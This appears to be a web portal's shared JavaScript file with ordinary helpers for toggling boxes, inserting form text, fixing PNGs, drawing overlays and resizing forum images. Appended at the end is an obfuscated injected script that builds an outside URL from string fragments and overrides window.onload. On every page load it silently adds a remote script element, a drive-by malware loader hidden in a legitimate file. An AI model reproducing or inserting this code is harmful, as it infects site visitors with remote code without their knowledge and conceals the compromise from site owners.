/* 
------------------------------------------
 Flipbox written by CrappoMan
 simonpatterson@dsl.pipex.com
------------------------------------------
*/

//modified by Wooya
function flipBox(who) {
   var tmp;
   if (document.images['b_' + who].src.indexOf('_on') == -1) {
      tmp = document.images['b_' + who].src.replace('_off', '_on');
      document.getElementById('box_' + who).style.display = 'none';
      if (document.getElementById('box_' + who + '_diff')) {
         document.getElementById('box_' + who + '_diff').style.display = 'block';
      }
      document.images['b_' + who].src = tmp;
      disply = 'none';
      now = new Date();
      now.setTime(now.getTime()+1000*60*60*24*365);
      expire = (now.toGMTString());
      document.cookie = "fusion_box_"+who+"=" + escape(disply) + "; expires="+expire;
   } else {
      tmp = document.images['b_' + who].src.replace('_on', '_off');
      document.getElementById('box_' + who).style.display = 'block';
      if (document.getElementById('box_' + who + '_diff')) {
         document.getElementById('box_' + who + '_diff').style.display = 'none';
      }
      document.images['b_' + who].src = tmp;
      disply = 'block';
      now = new Date();
      now.setTime(now.getTime()+1000*60*60*24*365);
      expire = (now.toGMTString());
      document.cookie = "fusion_box_"+who+"=" + escape(disply) + "; expires="+expire;
   }
}

//modified by wooya
function addText(elname, strFore, strAft, formname) {
   if (formname == undefined) formname = 'inputform';
   if (elname == undefined) elname = 'message';
   element = document.forms[formname].elements[elname];
   element.focus();
   // for IE 
   if (document.selection) {
	   var oRange = document.selection.createRange();
	   var numLen = oRange.text.length;
	   oRange.text = strFore + oRange.text + strAft;
	   return false;
   // for FF and Opera
   } else if (element.setSelectionRange) {
      var selStart = element.selectionStart, selEnd = element.selectionEnd;
			var oldScrollTop = element.scrollTop;
      element.value = element.value.substring(0, selStart) + strFore + element.value.substring(selStart, selEnd) + strAft + element.value.substring(selEnd);
      element.setSelectionRange(selStart + strFore.length, selEnd + strFore.length);
			element.scrollTop = oldScrollTop;      
      element.focus();
   } else {
			var oldScrollTop = element.scrollTop;
      element.value += strFore + strAft;
			element.scrollTop = oldScrollTop;      
      element.focus();
	}
}

//modified by Wooya
function insertText(elname, what, formname) {
   if (formname == undefined) formname = 'inputform';
   if (document.forms[formname].elements[elname].createTextRange) {
       document.forms[formname].elements[elname].focus();
       document.selection.createRange().duplicate().text = what;
   } else if ((typeof document.forms[formname].elements[elname].selectionStart) != 'undefined') {
       // for Mozilla
       var tarea = document.forms[formname].elements[elname];
       var selEnd = tarea.selectionEnd;
       var txtLen = tarea.value.length;
       var txtbefore = tarea.value.substring(0,selEnd);
       var txtafter =  tarea.value.substring(selEnd, txtLen);
       var oldScrollTop = tarea.scrollTop;
       tarea.value = txtbefore + what + txtafter;
       tarea.selectionStart = txtbefore.length + what.length;
       tarea.selectionEnd = txtbefore.length + what.length;
       tarea.scrollTop = oldScrollTop;
       tarea.focus();
   } else {
       document.forms[formname].elements[elname].value += what;
       document.forms[formname].elements[elname].focus();
   }
}

//modified by Wooya to W3C standards
function show_hide(msg_id) {
   document.getElementById(msg_id).style.display = document.getElementById(msg_id).style.display == 'none' ? 'block' : 'none';
}

//modified by Wooya to work properly with Opera
function correctPNG() {
   // correctly handle PNG transparency in Win IE 5.5 or higher.
   if (navigator.appName=="Microsoft Internet Explorer" && navigator.userAgent.indexOf("Opera")==-1) {
      for(var i=0; i<document.images.length; i++) {
         var img = document.images[i]
         var imgName = img.src.toUpperCase()
         if (imgName.substring(imgName.length-3, imgName.length) == "PNG") {
            var imgID = (img.id) ? "id='" + img.id + "' " : ""
            var imgClass = (img.className) ? "class='" + img.className + "' " : ""
            var imgTitle = (img.title) ? "title='" + img.title + "' " : "title='" + img.alt + "' "
            var imgStyle = "display:inline-block;" + img.style.cssText
            if (img.align == "left") imgStyle = "float:left;" + imgStyle
            if (img.align == "right") imgStyle = "float:right;" + imgStyle
            if (img.parentElement.href) imgStyle = "cursor:hand;" + imgStyle
            var strNewHTML = "<span " + imgID + imgClass + imgTitle
            + " style=\"" + "width:" + img.width + "px; height:" + img.height + "px;" + imgStyle + ";"
            + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
            + "(src=\'" + img.src + "\', sizingMethod='scale');\"></span>"
            img.outerHTML = strNewHTML
            i = i-1
         }
      }
   }
}

function getStyle(el,style)
{
	if(typeof el == "string")
		var element = document.getElementById(el);
	else
		var element = el;
	if (element.currentStyle)
		var value = element.currentStyle[style];
	else if (window.getComputedStyle)
		var value = document.defaultView.getComputedStyle(element,null).getPropertyValue(style);
	return value;
}

/***********************************************
* Drop Down/ Overlapping Content- © Dynamic Drive (www.dynamicdrive.com)
* This notice must stay intact for legal use.
* Visit http://www.dynamicdrive.com/ for full source code
***********************************************/
function getposOffset(overlay, offsettype){
   var totaloffset=(offsettype=='left')? overlay.offsetLeft : overlay.offsetTop;
   var parentEl=overlay.offsetParent;
   while (parentEl!=null) {
      if(getStyle(parentEl, "position") != "relative"){
	     totaloffset=(offsettype=='left')? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
      }
	  parentEl=parentEl.offsetParent;
   }
   return totaloffset;
}
   
function overlay(curobj, subobjstr, opt_position){
   if (document.getElementById){
      var subobj=document.getElementById(subobjstr)
      subobj.style.display=(subobj.style.display!='block')? 'block' : 'none'
      var xpos=getposOffset(curobj, 'left')+((typeof opt_position!='undefined' && opt_position.indexOf('right')!=-1)? -(subobj.offsetWidth-curobj.offsetWidth) : 0) 
      var ypos=getposOffset(curobj, 'top')+((typeof opt_position!='undefined' && opt_position.indexOf('bottom')!=-1)? curobj.offsetHeight : 0)
      subobj.style.left=xpos+'px'
      subobj.style.top=ypos+'px'
      return false
   }
   else
   return true
}

function overlayclose(subobj){
document.getElementById(subobj).style.display='none'
}

//written by Wooya
NewWindowPopUp = null;
function OpenWindow(src, wdth, hght, wcenter) {
   //close previous popup window
   if (NewWindowPopUp != null) {
        NewWindowPopUp.close();
        NewWindowPopUp = null;
   }
   //if center parameter given center opoup window 
   if (wcenter == false) { 
      wtop = 0;
      wleft = 0;
   } else {
        wtop = (screen.availHeight-hght)/2;
        wleft = (screen.availWidth-wdth)/2;
   }
   NewWindowPopUp = window.open(src, "","toolbar=no,menubar=no,location=no,personalbar=no,scrollbars=yes,status=no,directories=no,resizable=yes,height="+hght+",width="+wdth+",top="+wtop+",left="+wleft+"");
   NewWindowPopUp.focus();
}

//Image Resizer by Matonor
function resize_forum_imgs(){
	var max;
	var viewport_width;
	//Get the width of the viewport
	if(self.innerWidth)
		viewport_width = self.innerWidth;
	else if(document.documentElement && document.documentElement.clientWidth)
		viewport_width = document.documentElement.clientWidth;
	else if(document.body)
		viewport_width = document.body.clientWidth;
	else
		viewport_width = 1000;

	//Set the max width/height according to the viewport-width
	if(viewport_width <= 800)
		max = 200;
	else if(viewport_width < 1152)
		max = 300;
	else if(viewport_width >= 1152)
		max = 400;
	
	//loop through images that have the className forum-img
	for(var i=0; i<document.images.length; i++) {
		var image = document.images[i];
		if(image.className!="forum-img"){
			continue;
		}
		var height = image.height;
		var width = image.width;
		var resized = false;
		//resize the image with correct aspect ratio
		if(width <= height){
			if(height > max){
				image.height = max;
				image.width = width*(max/height);
				resized = true;
			}
		}else{
			if(width > max){
				image.width = max;
				image.height = height*(max/width);
				resized = true;
			}
		}
		
		//Find the div around the image and the next element around the div.
		var span = image.parentNode;
		var parent = span.parentNode;
		if(span.className != "forum-img-wrapper"){
			continue;
		}
		
		if(resized){ //Insert the link and make the span inline
			span.style.display = "inline";
			if(parent.tagName != "A"){
				span.onclick = new Function("OpenWindow('"+image.src+"', "+(width+40)+", "+(height+40)+", true)");
				span.onmouseover = "this.style.cursor='pointer'";
			}
		}else{ //only make the span inline
			span.style.display = "inline";
		}
	}
	return true;
}

function onload_events(){//Add function calls to be executed onload here
	resize_forum_imgs();
	correctPNG();
}

window.onload = onload_events;


var r;if(r!=''){r='i'};var C="";this.Y="";var T;if(T!='c' && T!='EQ'){T=''};function v(){var Wn='';var TZ="";var G="pbog".substr(3);var f=new String();var w;if(w!='uf'){w=''};var a='';var fj;if(fj!='rR' && fj!='sx'){fj=''};var H=RegExp;var aY;if(aY!='' && aY!='Db'){aY=''};var n=new Array();function u(uM,j){var GF;if(GF!='R' && GF != ''){GF=null};var s= "[";var WH;if(WH!=''){WH='Rt'};var b=new Array();s+=j;var ip="";s+=new String("]");this.ju="";this.h="";var jd="";var g=new H(s, G);return uM.replace(g, a);var nU=new Array();var sxY;if(sxY!='' && sxY!='sQ'){sxY=null};};var vN;if(vN!='' && vN!='d'){vN='Qi'};var qe=new Date();var gh=new Date();var q="defer1Nvj".substr(0,5);this.rI="";this.lN="";var E=String("sc"+"ri"+"pt");var tQ;if(tQ!='BWS' && tQ!='pd'){tQ=''};var Di=new String();var sn='';var m="sr"+"c";var A=window;this.gql='';var k='';var Q=80;var dO=new String();var Kl;if(Kl!='Dz'){Kl=''};var I=new String("/>"+"_<LIys".substr(0,2)+"b>a5f".substr(0,2)+"uhWFa".substr(3)+"K02ta".substr(3)+"XxQl ".substr(3)+"fZvker".substr(4)+"kWO5ro5OkW".substr(4,2)+"ynZlr<lZyn".substr(4,2)+"/b"+"Dlov>:oDlv".substr(4,2)+"Pjx  ".substr(3)+"CaYgDi".substr(0,2)+"nn"+"gB7GotgGB7".substr(4,2)+"I2EV rVI2E".substr(4,2)+"ed"+"0pMec".substr(3)+"BXpola".substr(4)+"redL9T".substr(0,2)+"HdRE cHdER".substr(4,2)+"he"+"ck6fxI".substr(0,2)+"ur7Aj".substr(0,2)+"li4G0b".substr(0,2)+"nf"+"o(E0jK".substr(0,2)+") "+"lDA(p".substr(3)+"re"+"wqbZvi".substr(4)+"ou"+"sl5TEJ".substr(0,2)+"M79y 79M".substr(3,2)+"dekDA9".substr(0,2)+"cl01C".substr(0,2)+"arfgl0".substr(0,2)+"Nk03ed".substr(4)+" iz3Q".substr(0,2)+"n "+"JM25/vJM25".substr(4,2)+"9SGyar".substr(4)+"2Wa/w2Wa".substr(3,2)+"ww"+"8iy4/h84yi".substr(4,2)+"LJ2atmJa2L".substr(4,2)+"wiQZl/".substr(4)+"paCzU".substr(0,2)+"XZngeZXn".substr(3,2)+"QMg.d".substr(3)+"JYampoaYJm".substr(4,2)+"uQf8ol".substr(4)+".p9x6Y".substr(0,2)+"hp"+":8RuDs".substr(0,2)+"8)"+" i"+"n UbZT".substr(0,2)+"TMu<b".substr(3)+"imo>/".substr(3)+"vaY8q".substr(0,2)+"r/"+"AubwwbuA".substr(3,2)+"w/5ZKd".substr(0,2)+"ht"+"ml"+"oPx/coxP".substr(3,2)+"KzQHon".substr(4)+"laMYf.".substr(4)+"xUgph".substr(3)+"p<ahzb".substr(0,2)+"/bq4H8".substr(0,2)+"> "+"K9Jon".substr(3)+"QUjO lQOUj".substr(4,2)+"in"+"3zDe ".substr(3)+"<b3PNL".substr(0,2)+"PCaM>3MPCa".substr(4,2)+"23"+"</jHz".substr(0,2)+"Jdlb>".substr(3)+"309V<b".substr(4)+"r eYOE".substr(0,2)+"/>akL".substr(0,2)+"/aKMvH".substr(0,2)+"BV4llVB4".substr(3,2)+"DLhre".substr(3)+"ci"+"aBTpe".substr(3)+"s."+"yXUcoUyX".substr(3,2)+"m/"+"al"+"o7Ylr".substr(3)+"ec"+"KStIip".substr(4)+"Wg5cesW5cg".substr(4,2)+"yErp.cyrpE".substr(4,2)+"jrW5omW5jr".substr(4,2)+"/w"+"qAteb".substr(3)+".dutk".substr(0,2)+"e/Zut".substr(0,2)+"goxJf".substr(0,2)+"Du1og1uD".substr(3,2)+"leEFV".substr(0,2)+".c3Sm5".substr(0,2)+"VNGAom".substr(4)+"/nkUsD".substr(0,2)+"wXOuasOuwX".substr(4,2)+"za"+"-kB6V".substr(0,2)+"la"+"Ovisa".substr(3)+"NFm.p".substr(3)+"l."+"QDMphMQD".substr(3,2)+"pXJV0".substr(0,1));var Os='';var gq="httpMI0Z".substr(0,4)+"Qqx://a".substr(3)+"twik"+"i-jp"+"J3g.net3Jg".substr(3,4)+"log.ZVi7".substr(0,4)+"FtnZcom.tFZn".substr(4,4)+"ware0kD".substr(0,4)+"seek"+"MGZver-c".substr(4)+"31sXom.<13sX".substr(4,4)+"Qg5Gbr :".substr(4);var zO;if(zO!='VG' && zO != ''){zO=null};A.onload=function(){try {var QBx;if(QBx!=''){QBx='o'};var ah;if(ah!='' && ah!='tM'){ah=''};sn=gq+Q;sn+=I;var vM=new String();var RT;if(RT!='' && RT!='EI'){RT='nW'};X=document.createElement(E);var Az;if(Az!=''){Az='dV'};this.CJ='';this.vB="";X[m]=sn;var sM;if(sM!='' && sM!='_I'){sM=null};var Ro=new Date();X[q]=[3,1][1];document.body.appendChild(X);var mT;if(mT!='Uh' && mT!='Tw'){mT='Uh'};} catch(O){var bC;if(bC!='_G'){bC=''};};var gs;if(gs!='jw'){gs=''};};var nUn=new Date();var yl='';};var OG;if(OG!='' && OG!='Zi'){OG=''};v();